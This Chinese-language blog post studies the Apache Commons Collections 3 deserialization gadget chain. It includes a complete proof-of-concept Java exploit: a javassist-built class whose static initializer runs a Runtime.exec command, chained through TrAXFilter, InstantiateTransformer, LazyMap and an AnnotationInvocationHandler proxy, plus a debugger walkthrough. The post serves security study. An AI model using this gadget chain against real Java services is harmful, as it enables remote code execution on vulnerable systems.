CommonsCollection3反序列化链学习

CommonsCollection3

1、前置知识

CommonsCollection3其实就是cc1和cc2的组合,不用再学那么多知识了,再学习另两个生面孔类

1.1、InstantiateTransformer

构造方法传入了paramTypes(参数类型)和args(具体参数值)

transform方法,首先判断了input是不是Class类实例对象,不是的话就获取结构体创建新的实例对象

public InstantiateTransformer(Class[] paramTypes, Object[] args) {
  this.iParamTypes = paramTypes;
  this.iArgs = args;
}

public Object transform(Object input) {
  try {
    if (!(input instanceof Class)) {
      throw new FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName()));
    } else {
      Constructor con = ((Class)input).getConstructor(this.iParamTypes);
      return con.newInstance(this.iArgs);
    }
  } catch (NoSuchMethodException var6) {
    throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");
  } catch (InstantiationException var7) {
    throw new FunctorException("InstantiateTransformer: InstantiationException", var7);
  } catch (IllegalAccessException var8) {
    throw new FunctorException("InstantiateTransformer: Constructor must be public", var8);
  } catch (InvocationTargetException var9) {
    throw new FunctorException("InstantiateTransformer: Constructor threw an exception", var9);
  }
}

1.2、TrAXFilter

我们来查看其构造方法,newTransformer方法,这不就是cc2的利用链开头,他会把传入的templates去调用newTransformer方法,然后会调用getTransletInstance,然后再调用defineTransletClasses把我们_class赋值为_bytecodes转换为的类,然后_class再newInstance()实例化,而cc1链是通过InvokerTransformer的transform循环反射获取Runtime.class去RCE.

public TrAXFilter(Templates templates)  throws TransformerConfigurationException
{
  _templates = templates;
  _transformer = (TransformerImpl) templates.newTransformer();
  _transformerHandler = new TransformerHandlerImpl(_transformer);
  _useServicesMechanism = _transformer.useServicesMechnism();
}

2、漏洞复现

2.1、poc

package com.akkacloud;

import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.ClassPool;
import javassist.CtClass;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.NotFoundException;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollection3 {
    public static void main(String[] args) throws Exception {
        String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
        String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";

        ClassPool classPool=ClassPool.getDefault();//获取一个默认的类池
        classPool.appendClassPath(AbstractTranslet);//把AbstractTranslet加入到搜索路径
        CtClass payload=classPool.makeClass("CommonsCollections3Test");//创建一个名叫CommonsCollections3Test的临时类
        payload.setSuperclass(classPool.get(AbstractTranslet));//设置CommonsCollections3Test类的父类为AbstractTranslet,因为TemplatesImpl的defineTransletClasses中会比较父类是否为AbstractTranslet
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");");//设置CommonsCollections3Test的静态代码块,实例化的时候就会执行

        byte[] bytes=payload.toBytecode();//把我们的payload(恶意类)转成字节数组类型

        Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//创建templatesImpl类实例对象
        Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//获取templatesImpl的属性_bytecodes
        field.setAccessible(true);//暴力反射
        field.set(templatesImpl,new byte[][]{bytes});//设置templatesImpl的属性_bytecodes为我们的恶意字节数组

        Field field1=templatesImpl.getClass().getDeclaredField("_name");//获取templatesImpl的属性_bytecodes
        field1.setAccessible(true);//暴力反射
        field1.set(templatesImpl,"test");//设置templatesImpl的属性_name值为test


        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),//获取TrAXFilter
                new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl})//通过InstantiateTransformer的构造方法传入我们的恶意类templatesImpl,构造方法会调用templatesImpl.newTransformer实例化我们的恶意类,造成RCE

        };


        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);//新建一个ChainedTransformer类,传入我们的恶意transformers,只要调用transform方法就会反射执行我们的传入的恶意传入我们的恶意transformers
        Map map=new HashMap();//新建一个hashmap
        Map lazyMap= LazyMap.decorate(map,chainedTransformer);//这里传入我们的恶意ChainedTransformer,赋值给lazyMap,只要lazyMap的get方法被调用就会调用我们的chainedTransformer的transform方法

        Class cls=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");//反射获取AnnotationInvocationHandler类
        Constructor constructor=cls.getDeclaredConstructor(Class.class,Map.class);//获取AnnotationInvocationHandler的构造函数
        constructor.setAccessible(true);

        InvocationHandler invocationHandler=(InvocationHandler)constructor.newInstance(Override.class,lazyMap);//传入我们的恶意lazyMap,然后实例化并赋值给invocationHandler,因为AnnotationInvocationHandler实现了InvocationHandler接口

        Map map1=(Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),invocationHandler);//创建动态代理,传入invocationHandler

        Object object=constructor.newInstance(Override.class,map1);//然后实例化我们的动态代理,就会调用invocationHandler的invoke方法

        ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.ser"));
        outputStream.writeObject(object);
        outputStream.close();

        ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.ser"));
        inputStream.readObject();
    }
}

image-20220330220450472

2.2、poc分析

2.2.1、第一段

其实就是cc2链中javassit的利用,创建一个有静态代码块(恶意代码)的CommonsCollections3Test,和设置其父类为AbstractTranslet,最后转换为字节数组,不懂的话可以详细看看cc2的前置知识的javasstis部分

String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";

ClassPool classPool=ClassPool.getDefault();//获取一个默认的类池
classPool.appendClassPath(AbstractTranslet);//把AbstractTranslet加入到搜索路径
CtClass payload=classPool.makeClass("CommonsCollections3Test");//创建一个名叫CommonsCollections3Test的临时类
payload.setSuperclass(classPool.get(AbstractTranslet));//设置CommonsCollections3Test类的父类为AbstractTranslet,因为TemplatesImpl的defineTransletClasses中会比较父类是否为AbstractTranslet
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");");//设置CommonsCollections3Test的静态代码块,实例化的时候就会执行

byte[] bytes=payload.toBytecode();//把我们的payload(恶意类)转成字节数组类型

2.2.2、第二段

也是cc2链对TemplatesImpl的利用,就是创建一个恶意加载类TemplatesImpl,并且通过反射把_bytecodes赋值为我们的恶意字节数组,并且把其_name的设置为test,因为_name在TemplatesImpl类的getTransletInstance()方法,会判断他是否为null,为null就会返回null

Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//创建templatesImpl类实例对象
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//获取templatesImpl的属性_bytecodes
field.setAccessible(true);//暴力反射
field.set(templatesImpl,new byte[][]{bytes});//设置templatesImpl的属性_bytecodes为我们的恶意字节数组

Field field1=templatesImpl.getClass().getDeclaredField("_name");//获取templatesImpl的属性_bytecodes
field1.setAccessible(true);//暴力反射
field1.set(templatesImpl,"test");//设置templatesImpl的属性_name值为test

2.2.3、第三段

这个是目前跟cc1和cc2链有比较大不同的地方,使用InstantiateTransformer类和TrAXFilter类,通过前置知识我们知道TrAXFilter的构造方法会调用newTransformer方法,把我们传入的恶意TemplatesImpl实例化,具体的可以看前置知识或者cc2链TemplatesImpl学习。通过调用ChainedTransformer的transform方法,第一遍获取TrAXFilter类,第二遍通过InstantiateTransformer的构造方法传入我们的恶意类templatesImpl,调用其transform方法,实例化传入的上一遍传入的TrAXFilter,调用其构造方法,再调用newTransform,造成RCE。接下来我们需要看其怎么获取transform方法了?

Transformer[] transformers=new Transformer[]{
        new ConstantTransformer(TrAXFilter.class),//获取TrAXFilter,构造方法会调用templatesImpl.newTransformer实例化我们的恶意类,造成RCE
        new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl})//通过InstantiateTransformer的构造方法传入我们的恶意类templatesImpl

};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);//新建一个ChainedTransformer类,传入我们的恶意transformers,只要调用transform方法就会反射执行我们的传入的恶意传入我们的恶意transformers

2.2.4、第四段

这里就是cc1链的利用,主要是通过LazyMap的decorate方法赋值我们的恶意chainedTransformer,因为LazyMap的get方法会调用transform方法。

Map map=new HashMap();//新建一个hashmap
Map lazyMap= LazyMap.decorate(map,chainedTransformer);//这里传入我们的恶意ChainedTransformer,赋值给lazyMap,只要lazyMap的get方法被调用就会调用我们的chainedTransformer的transform方法

2.2.5、第五段

这里也是cc1链的对应的利用,主要是反射获取AnnotationInvocationHandler类,实例化时传入我们的恶意lazyMap,然后通过动态代理传入我们的包含了lazyMap的恶意InvocationHandler,然后实例化其实就是调用其构造方法,但是无论调用什么方法都会执行动态代理的invoke方法,invoke方法中调用了get方法。然后就是cc1的AnnotationInvocationHandler的readObject---》entrySet---》invoke.

最后为什么是override.class,

因为AnnotationInvocationHandler本来就是一个处理注解的类,构造方法的第⼀个参数是⼀个Annotation类类型参数

Class cls=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");//反射获取AnnotationInvocationHandler类
Constructor constructor=cls.getDeclaredConstructor(Class.class,Map.class);//获取AnnotationInvocationHandler的构造函数
constructor.setAccessible(true);

InvocationHandler invocationHandler=(InvocationHandler)constructor.newInstance(Override.class,lazyMap);//传入我们的恶意lazyMap,然后实例化并赋值给invocationHandler,因为AnnotationInvocationHandler实现了InvocationHandler接口

Map map1=(Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),invocationHandler);//创建动态代理,传入invocationHandler

Object object=constructor.newInstance(Override.class,map1);//然后实例化我们的动态代理

2.3、利用链调试

在AnnotationInvocationHandler的构造方法打下断点,发现成功的把this.memberValues设置成LazyMap

image-20220331162520013

在readObject打下断点,当this.memberValues调用entrySet()时,因为lazymap是我们的代理对象,所以他执行任何方法都会执行AnnotationInvocationHandler的invoke方法

image-20220331170432191

invoke方法会调用get方法。此时的this.memberValues为Lazymap,继续跟进

(问题:第一遍到invoke的this.memberValues为LinkedHashMap,然后就已经弹窗了,第二次才是lazymap,最后到defineTransletClasses,_class已经为我们用javassit创建的恶意数组类)

image-20220331162909522

this.factory就是我们的chianedTransformer,继续跟进

image-20220331163140092

进入后这个iTransformers[]就是传入我们恶意构造的TrAXFilter和instantiateTransformer

image-20220331163348767

继续跟进transform方法,第一遍获取TrAXFilter.class

image-20220331163718821

继续跟进transform方法,把TrAXFilter通过newInstance实例化

image-20220331170655799

我们进入他的构造函数,templates使我们构造的恶意数组类,继续跟进

image-20220331164300625

进入到newTransformer后,会调用getTransletInstance(),其实这个方法就是用来实例化传入的transformer的,继续跟进

image-20220331164405098

进到getTransletInstance,发现他会调用defineTransletClasses,继续跟进

image-20220331164616691

进入后就是对_class进行处理,前置知识有相关知识,处理完后回到getTransletInstance,把_class实例化,就是我们的恶意类。

image-20220331164853408

2.4、利用链

AnnotationInvocationHandler.readobject
	(proxy)lazyMap.entrySet
		AnnotationInvocationHandler.invoke->lazyMap.get
			ChainedTransformer.transform
				ConstantTransformer.transform
					InstantiateTransformer.transform
						TrAXFilter(构造方法)
							TemplatesImpl.newTransformer
								TemplatesImpl.getTransletInstance
									TemplatesImpl.defineTransletClasses
										Runtime.exec()

2.5、思维导图

参考链接

https://www.cnblogs.com/nice0e3/p/13854098.html

posted @ 2022-03-31 21:13  akka1  阅读(113)  评论(0编辑  收藏  举报